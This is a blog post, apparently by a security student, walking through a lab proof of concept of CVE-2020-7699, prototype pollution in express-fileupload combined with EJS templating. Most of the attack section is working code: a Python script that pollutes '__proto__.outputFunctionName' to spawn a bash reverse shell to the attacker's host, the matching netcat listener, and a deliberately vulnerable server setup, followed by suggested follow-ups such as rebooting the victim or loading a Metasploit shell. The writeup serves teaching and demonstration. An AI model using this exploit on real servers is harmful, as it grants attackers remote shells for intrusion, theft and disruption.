DEV Community

loading...

Simple Remote Code Execution on EJS Web Applications with express-fileupload

boiledsteak
I'm a cybersecurity student just trying to get by :')
Updated on ・6 min read

attack scenario diagram
TLDR with no explanation

As an IT / cybersecurity student, I heavily relied on searching online for guides and forums to help me with my assignments. So this is me giving back to the community 😄

In this post I will explain how to exploit a vulnerability in an older version of a NodeJS library to enable RCE. Many concepts and technologies used will require an

intermmediate level of hands-on knowledge of cybersecurity

I will not explain every term. The entire process is quite simple. If you are unfamiliar with anything, try read it up. Everything mentioned is fairly common.

This Proof of Concept (POC) is a simple example of RCE. Good for demonstrating RCE to an audience without technical knowledge. I doubt it can be used in the wild for penetration testing or for any malicious purposes. In fact the author of the dependency has a glaring warning of this vulnerability at the top of their github repo
security warning of express-fileupload

This exploit was referenced from: https://blog.p6.is/Real-World-JS-1/
^The author explains why the outdated dependency is vulnerable.

Disclaimer: I am a security student with no professional programming / software engineer experience so my code may not be following best practices...but they work

Contents

Abstract

CVE Code CVE-2020-7699
CWE Code CWE-400
Publish Date 30 July 2020
Attack Type Remote Code Execution
Vulnerability JavaScript Prototype Pollution
Cause Misconfiguration?
Fix Update Libraries, Proper Network Configuration, Firewalls
Affected Technology Node, Express, express-fileupload v1.1.10 and earlier , EJS

🚀 back to contents

Set Up

All files needed can be found in my github repository. Higher resolution versions of all images used can be found in there too.

GitHub logo boiledsteak / EJS-Exploit

Remote Code Execution EJS Web Applications using express-fileupload

Attacker

First, set up a Kali Virtual Machine (VM). Ensure all commands are run in bash. Check that Python3 is installed.

Move this file into the kali VM
EJS-RCE-attack.py (can be found in my github repo)

##############################################################
# Run this .py to perform EJS-RCE attack
# referenced from
# https://blog.p6.is/Real-World-JS-1/
# 
# Timothy, 10 November 2020
##############################################################

### imports
import requests

### commands to run on victim machine
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.98.11/8020 0>&1"'

print("Starting Attack...")
### pollute
requests.post('http://192.168.98.10:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

### execute command
requests.get('http://192.168.98.10:8080')
print("Finished!")
Enter fullscreen mode Exit fullscreen mode

Yes I know a docker would have been lighter than a VM but the purpose of this POC is more for demonstration so having a VM makes the process more visual.

Next, modify EJS-RCE-attack.py to fit attacker’s machine address and port. Line 13, change

/dev/tcp/192.168.98.11/8020
Enter fullscreen mode Exit fullscreen mode

to

/dev/tcp/<attacker’s IP address>/<attacker’s port to listen for connection from victim>
Enter fullscreen mode Exit fullscreen mode

You could leave it at port 8020. Just ensure that no firewall rules are blocking the ports you use.

Modify EJS-RCE-attack.py to fit victim’s machine address and port. Line 17 and line 21. Change http address to victim’s web address.

screenshot of code

🚀 back to contents

Victim

This part requires a bit more preparation since you will need to set up an EJS web server. There are many detailed guides online about EJS and how to create a web app with it so I won't detail everything in this post. I'll briefly list the steps needed to get one running.

First, set up an Ubuntu VM. Ensure it can 'talk' to the Kali VM. Install NodeJS and NPM.

Create a directory to contain the webserver code. It should look something like the screenshot below. For now just create the folders. Don't create the files yet. This step is optional but I feel it makes the webserver cleaner and easier to navigate. This step is useful if you choose to expand on my attack scenario for instance, adding a database to the webserver, adding multiple web pages etc...

btw command to print directory tree in windows is

tree /A
Enter fullscreen mode Exit fullscreen mode

screenshot of directory tree

Okay first file to create is package.json. Move it to backend as pictured in the directory tree screenshot. (all files can be found in my github repo)

{
  "name": "some-website",
  "version": "1.0.0",
  "description": "",
  "main": "server.js",
  "scripts": {
    "start": "node server.js"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "ejs": "^3.1.5",
    "express": "^4.17.1",
    "express-fileupload": "^1.1.7-alpha.3"
  }
}
Enter fullscreen mode Exit fullscreen mode

open a terminal in the backend folder and run

npm install
Enter fullscreen mode Exit fullscreen mode

This installs all needed libraries and dependencies including EJS. A "node_modules" folder should appear.

Now, write the server code server.js

// web server code
// website starts here

// imports
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));
// set the view engine to ejs
app.set('view engine', 'ejs');
app.set('views', "../frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});



// sever starting ...
const server = http.Server(app);
const addr = "192.168.98.10"
const port = 8080;
server.listen(port, addr, () => {
    console.log('Server listening on '+ addr + ' port ' + port);
 });
Enter fullscreen mode Exit fullscreen mode

You'll need to change the "addr" variable in line 24 to match your victim machine's IP address.

Next, create a simple HTML page in frontend/pages. It needs to be an .ejs file. I created a very plain one index.ejs. This is to show that this attack does not require the victim to click anything on the website. The vulnerability lies in an outdated dependency used. No XSS needed. I probably don't need to show the code but here it is lol.

<!DOCTYPE html>
<html>
    <head>
        <title>Some Website</title>
    </head>
    <body>
        <h1>This is some website</h1>
    </body>
</html>
Enter fullscreen mode Exit fullscreen mode

🚀 back to contents

Launch Attack

With everything set up, you can finally launch the attack. First, start the web server from the victim machine. Run npm start in the backend directory where the server.js file is located.

screenshot of npm start

Now on the attacker side start a nc to listen for a connection from the victim.

nc -lvp 8020
Enter fullscreen mode Exit fullscreen mode

Then start the actual exploit

python3 EJS-RCE-attack.py
Enter fullscreen mode Exit fullscreen mode

screenshot of terminal

If everything is done properly, you should be seeing a shell of the victim, on the attacker's terminal. From here you can do all kinds of commands to demonstrate RCE. You could do a simple DOS by restarting the machine with init 6. Or maybe do something even more 'hackerman' by downloading a MSFvenom and opening a metasploit shell.

That's all to the attack. It's actually very simple. As I said at the start, this is just a simple RCE POC to show that misconfiguration can lead to severe vulnerabilities. The victim doesn't even need to click anything on the website and yet the web server can be compromised.

🚀 back to contents

Risk

As defined by the OWASP risk rating methodology, the risk of a vulnerability is measured by its likelihood and impact.

Likelihood

The likelihood of this exploit happening is extremely low because it relies on an outdated version of express-fileupload. The github repo that maintains this dependency even has a security warning about this exploit. Moreover EJS is not usually used in production. React, Angular , Vue, these are some of the more popular javascript frontend frameworks. EJS is used more for learning and development.

Thus I would give this a Low likelihood rating of 1/3

Impact

Since this is a RCE exploit, the impact is very high. RCE can enable all sorts of attacks. Stealing data, denial of service, opening backdoors, lateral movement - these are to name of but a few. Of course there are many effective ways to mitigate the impact of RCE such as firewalls, giving least privelege, port blocking etc. however the impact is still high.

Thus I would give this a High impact rating of 3/3

With low likelihood and high impact, I rate this exploit as a Medium Risk
risk rating
🚀 back to contents

That's it!

Thank you for reading my first post :) Yes I know it's a very simple and amateur exploit but I hope someone finds it useful. I'm just a student with no real professional experience so some of my information may even be false or misinformed. Please let me know if I missed anything. You can read more about javascript prototype pollution to understand deeper why this vulnerability even exists.

Discussion (2)

Collapse
cyril_ogoh profile image
ogoh cyril

Wow, nice read

Didn't know node ejs security vulnerability can be this bad

Collapse
boiledsteak profile image
boiledsteak Author

Thank you :) I added a risk rating section to explain that the vulnerability isn't that big of a deal because the likelihood is miniscule